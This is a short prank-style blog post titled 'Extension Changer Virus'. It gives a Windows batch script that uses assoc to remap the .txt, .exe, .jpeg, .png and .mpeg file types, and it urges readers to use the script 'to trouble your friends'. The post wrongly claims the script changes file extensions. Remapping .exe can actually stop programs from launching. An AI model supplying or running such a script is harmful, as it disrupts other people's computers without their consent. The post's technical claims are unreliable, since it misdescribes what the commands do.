Extension Changer Virus

Guys, have you ever imagined that if you can change the extensions of all the files in one go?
Yes, this is possible. 🙂
You can change the extensions of the existing files & make them useless.
For example, you have a set of .txt files (say ~1000 files), you can change its extension in one go to anything & this would make the file useless (until the user knows).
You can use this as a prank or fun moments or to trouble your friends. 🙂
Here we go:
As usual, open the notepad, paste the code & save it as a batch (.bat) file.
#########################################
@echo off
assoc .txt=anything // this command associates extension .txt with filetype anything.
assoc .exe=anything
assoc .jpeg=anything
assoc .png=anything
assoc .mpeg=anything
#########################################
Contents